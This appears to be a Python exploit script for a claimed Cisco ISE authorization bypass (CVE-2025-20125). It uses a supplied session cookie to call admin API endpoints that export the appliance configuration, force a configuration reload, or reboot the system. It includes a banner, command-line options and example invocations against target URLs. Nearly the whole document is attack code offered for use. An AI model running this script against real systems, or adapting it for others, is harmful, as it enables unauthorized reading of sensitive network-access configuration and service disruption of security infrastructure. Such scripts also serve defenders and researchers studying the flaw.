1+ # Exploit Title: Cisco ISE 3.0 - Authorization Bypass
2+ # Exploit Author: @ibrahimsql ibrahimsql.com
3+ # Exploit Author's github: https://github.com/ibrahmsql
4+ # Description: Cisco ISE API Authorization Bypass
5+ # CVE: CVE-2025-20125
6+ # Vendor Homepage: https://www.cisco.com/
7+ # Requirements: requests>=2.25.0, urllib3>=1.26.0
8+ # Usage: python3 CVE-2025-20125.py --url https://ise.target.com --session TOKEN --read
9+
10+ #!/usr/bin/env python3
11+ # -*- coding: utf-8 -*-
12+
13+ import requests
14+ import sys
15+ import argparse
16+ import urllib3
17+ urllib3 .disable_warnings ()
18+
19+ def banner ():
20+ print (r"""
21+ ___ ____ ___ ___ _____ ____ ___ ____
22+ / __)(_ _)/ __) / __)( _ ) (_ _)/ __)( ___)
23+ ( (__ _)(_ \__ \( (__ )(_)( _)(_ \__ \ )__)
24+ \___)(____)(___/ \___)(_____) (____)(___/(____)
25+ Cisco ISE Authorization Bypass
26+ CVE-2025-20125
27+ Author: ibrahmsql | github.com/ibrahmsql
28+ """ )
29+
30+ def exploit_config_read (base_url , session_token ):
31+ """
32+ CVE-2025-20125: Read sensitive configuration
33+ """
34+ endpoint = f"{ base_url } /api/v1/admin/config/export"
35+ headers = {
36+ "Cookie" : f"ISESSIONID={ session_token } " ,
37+ "User-Agent" : "Mozilla/5.0 (compatible; ISE-Exploit)"
38+ }
39+
40+ print (f"[+] Attempting to read configuration from: { endpoint } " )
41+
42+ try :
43+ r = requests .get (endpoint , headers = headers , verify = False , timeout = 10 )
44+
45+ if r .status_code == 200 :
46+ print ("[+] Configuration read successful!" )
47+ print (f"[+] Response length: { len (r .text )} bytes" )
48+ if r .text :
49+ print (f"[+] Config preview: { r .text [:300 ]} ..." )
50+ return True
51+ else :
52+ print (f"[-] Config read failed: { r .status_code } " )
53+ return False
54+
55+ except requests .exceptions .RequestException as e :
56+ print (f"[-] Request failed: { e } " )
57+ return False
58+
59+ def exploit_config_reload (base_url , session_token ):
60+ """
61+ CVE-2025-20125: Force configuration reload
62+ """
63+ endpoint = f"{ base_url } /api/v1/admin/reload"
64+ headers = {
65+ "Cookie" : f"ISESSIONID={ session_token } " ,
66+ "Content-Type" : "application/json" ,
67+ "User-Agent" : "Mozilla/5.0 (compatible; ISE-Exploit)"
68+ }
69+
70+ print (f"[+] Sending config reload request to: { endpoint } " )
71+
72+ try :
73+ r = requests .post (endpoint , headers = headers , verify = False , timeout = 10 )
74+
75+ if r .status_code in (200 , 204 ):
76+ print ("[+] Configuration reload accepted!" )
77+ print ("[+] System may be restarting services..." )
78+ return True
79+ elif r .status_code == 401 :
80+ print ("[-] Authentication failed - invalid session token" )
81+ elif r .status_code == 403 :
82+ print ("[-] Access denied - insufficient privileges" )
83+ else :
84+ print (f"[-] Reload failed: { r .status_code } " )
85+
86+ return False
87+
88+ except requests .exceptions .RequestException as e :
89+ print (f"[-] Request failed: { e } " )
90+ return False
91+
92+ def exploit_system_reboot (base_url , session_token ):
93+ """
94+ CVE-2025-20125: Force system reboot
95+ """
96+ endpoint = f"{ base_url } /api/v1/admin/reboot"
97+ headers = {
98+ "Cookie" : f"ISESSIONID={ session_token } " ,
99+ "Content-Type" : "application/json" ,
100+ "User-Agent" : "Mozilla/5.0 (compatible; ISE-Exploit)"
101+ }
102+
103+ print (f"[+] Sending system reboot request to: { endpoint } " )
104+ print ("[!] WARNING: This will reboot the target system!" )
105+
106+ try :
107+ r = requests .post (endpoint , headers = headers , verify = False , timeout = 10 )
108+
109+ if r .status_code in (200 , 204 ):
110+ print ("[+] System reboot initiated!" )
111+ print ("[+] Target system should be rebooting now..." )
112+ return True
113+ else :
114+ print (f"[-] Reboot failed: { r .status_code } " )
115+ return False
116+
117+ except requests .exceptions .RequestException as e :
118+ print (f"[-] Request failed: { e } " )
119+ return False
120+
121+ def main ():
122+ parser = argparse .ArgumentParser (
123+ description = "CVE-2025-20125 - Cisco ISE Authorization Bypass" ,
124+ formatter_class = argparse .RawDescriptionHelpFormatter ,
125+ epilog = """
126+ Examples:
127+ python3 CVE-2025-20125.py --url https://ise.company.com --session ABCD1234 --read
128+ python3 CVE-2025-20125.py --url https://10.0.0.1:9060 --session TOKEN123 --reload
129+ python3 CVE-2025-20125.py --url https://ise.target.com --session XYZ789 --reboot
130+ """
131+ )
132+
133+ parser .add_argument ("--url" , required = True , help = "Base URL of Cisco ISE appliance" )
134+ parser .add_argument ("--session" , required = True , help = "Authenticated ISE session token" )
135+ parser .add_argument ("--read" , action = "store_true" , help = "Read sensitive configuration" )
136+ parser .add_argument ("--reload" , action = "store_true" , help = "Force configuration reload" )
137+ parser .add_argument ("--reboot" , action = "store_true" , help = "Force system reboot" )
138+
139+ args = parser .parse_args ()
140+
141+ banner ()
142+
143+ # URL validation
144+ if not args .url .startswith (('http://' , 'https://' )):
145+ print ("[-] URL must start with http:// or https://" )
146+ sys .exit (1 )
147+
148+ # At least one action must be specified
149+ if not any ([args .read , args .reload , args .reboot ]):
150+ print ("[-] Specify at least one action: --read, --reload, or --reboot" )
151+ sys .exit (1 )
152+
153+ success = False
154+
155+ if args .read :
156+ success |= exploit_config_read (args .url , args .session )
157+
158+ if args .reload :
159+ success |= exploit_config_reload (args .url , args .session )
160+
161+ if args .reboot :
162+ # Confirm reboot action
163+ confirm = input ("[!] Are you sure you want to reboot the target? (y/N): " )
164+ if confirm .lower () in ['y' , 'yes' ]:
165+ success |= exploit_system_reboot (args .url , args .session )
166+ else :
167+ print ("[-] Reboot cancelled by user" )
168+
169+ if success :
170+ print ("\n [+] At least one exploit succeeded!" )
171+ else :
172+ print ("\n [-] All exploits failed" )
173+ sys .exit (1 )
174+
175+ if __name__ == "__main__" :
176+ main ()
0 commit comments